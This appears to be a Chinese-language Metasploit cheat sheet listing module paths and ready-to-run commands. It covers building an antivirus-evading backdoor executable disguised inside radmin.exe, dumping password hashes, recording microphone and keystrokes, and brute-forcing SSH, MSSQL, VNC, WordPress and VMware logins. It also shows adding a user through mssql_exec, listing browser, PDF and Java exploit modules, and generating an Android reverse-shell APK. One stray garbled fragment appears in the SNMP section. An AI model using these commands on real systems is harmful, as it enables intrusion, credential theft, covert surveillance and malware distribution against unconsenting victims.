msf介绍及其常用模块

技术功能模块

exploits：利用系统漏洞进行攻击的动作，此模块对应每一个具体漏洞的攻击方法

payload：成功exploit之后，真正在目标系统执行的代码或指令

auxiliary：执行信息收集、枚举、指纹探测、扫描等功能的辅助模块

encoders：对payload进行加密，躲避av检查的模块

nops：提高payload稳定性及维持大小

generate常用选项解释：
-b 去掉坏字符，例如：-b ‘\x00\xff’
-e 设置编码方式，可以使用show encoders命令查看所有编码方式
-f 输出格式，不设置默认为ruby语言。例如-f c或-f exe
-i 设置编码次数，一般用作多次编码免杀
-k 保持源模版行为，并将payload作为一个线程注入到一个进程中，常和-x配合使用
-o 输出文件名
-x 定义一个文件作为模版

use payload/windows/shell_bind_tcp

generate -b ‘\x00\xff’ -f exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o 1.exe

meterpreter命令

background:返回 pwd lpwd ls cat execute:执行程序 getuid hashdump ps record_mic:记录麦克风 webcam_list:读取摄像头

主机扫描模块：auxiliary/scanner/discovery/arp_sweep

端口扫描模块：auxiliary/scanner/portscan/syn

密码嗅探： use auxiliary/sniffer/psnuffle -支持从pcap抓包文件中提取密码，目前只支持pop3,imap,ftp,http get协议.

SNMP扫描

use auxiliary/scanner/snmp/snmp_login

use auxiliary/scanner/snmp/snmp_enum

use auxiliary/scanner/snmp/snmp_enumusers (windows)

use auxiliary/scanner/snmp/snmp_enumshares (windows)aSASD//AS

SMB版本扫描

use auxiliary/scanner/smb/smb_version

扫描命名管道，判断SMB服务类型（账号密码）

use auxiliary/scanner/smb/pipe_auditor

扫描通过SMB管道可以访问的RCERPC服务

use auxiliary/scanner/smb/pipe_dcerpc_auditor

SMB共享枚举（帐号，密码）

use auxiliary/scanner/smb/smb_enumshares

SMB用户枚举（帐号，密码）

use auxiliary/scanner/smb/smb_enumusers

SID枚举（帐号，密码）

use auxiliary/scanner/smb/smb_lookupsid

SSH版本扫描

use auxiliary/scanner/ssh/ssh_version

SSH密码爆破

use auxiliary/scanner/ssh/ssh_login

SSH公钥登录

use auxiliary/scanner/ssh/ssh_login_pubkey

windows缺少的补丁

use post/windows/gather/enum_patches

mssql扫描端口

tcp1433(动态端口)、udp1434(查询tcp端口号)

use auxiliary/scanner/mssql/mssql_ping

爆破mssql密码

use auxiliary/scanner/mssql/mssql_login

远程执行代码

use auxiliary/scanner/mssql/mssql_exec

set CMD net user user pass /ADD

ftp版本扫描

use auxiliary/scanner/ftp/ftp_version

use auxiliary/scanner/ftp/anonymous

use auxiliary/scanner/ftp/ftp_login

弱点扫描

vnc密码破解

use auxiliary/scanner/vnc/vnc_login

vnc 无密码访问

use auxiliary/scanner/vnc/vnc_none_auth

RDP远程桌面漏洞

use auxiliary/scanner/rdp/ms12_020_check

检查不会造成dos攻击

设备后门

use auxiliary/scanner/ssh/juniper_backdoor

use auxiliary/scanner/ssh/fortinet_backdoor

VMware ESXI 密码爆破

use auxiliary/scanner/vmware/vmauthd_login

use auxiliary/scanner/vmware/vmware_enum_vms

利用WEB API

use auxiliary/admin/vmware/poweron_vm

http弱点扫描

过期证书：use auxiliary/scanner/http/cert

显示目录及文件：use auxiliary/scanner/http/dir_listing

use auxiliary/scanner/http/files_dir

webdav unicode编码身份绕过：use auxiliary/scanner/http/dir_webdav_unicode_bypass

tomcat管理登录：use auxiliary/scanner/http/tomcat_mgr_login

基于http方法的身份验证绕过：use auxiliary/scanner/http/verb_auth_bypass

wordpress密码爆破：use auxiliary/scanner/http/wordpress_login_enum

set URI/wordpress/wp-login.php

利用Acrobat Reader漏洞执行payload

构造PDF文件：exploit/windows/fileformat/adobe_utilprintf

构造恶意网站：exploit/windows/browser/adobe_utilprintf

Meterpreter

use priv

run post/windows/capture/keylog_recorder

利用flash插件漏洞执行payload

use exploit/multi/browser/adobe_flash_hacking_team_uaf

use exploit/multi/browser/adobe_flash_opaque_background_uaf

use auxiliary/server/browser_autopwn2

利用IE浏览器漏洞执行payload

use exploit/windows/browser/ms14_064_ole_code_execution (windowsxp)

利用JRE漏洞执行payload

use exploit/multi/browser/java_jre17_driver_manager

use exploit/multi/browser/java_jre17_jmxbean

use exploit/multi/browser/java_jre17_reflection_types

生成android后门程序

use payload/android/meterpreter/reverse_tcp

generate -f a.apk -p android -t raw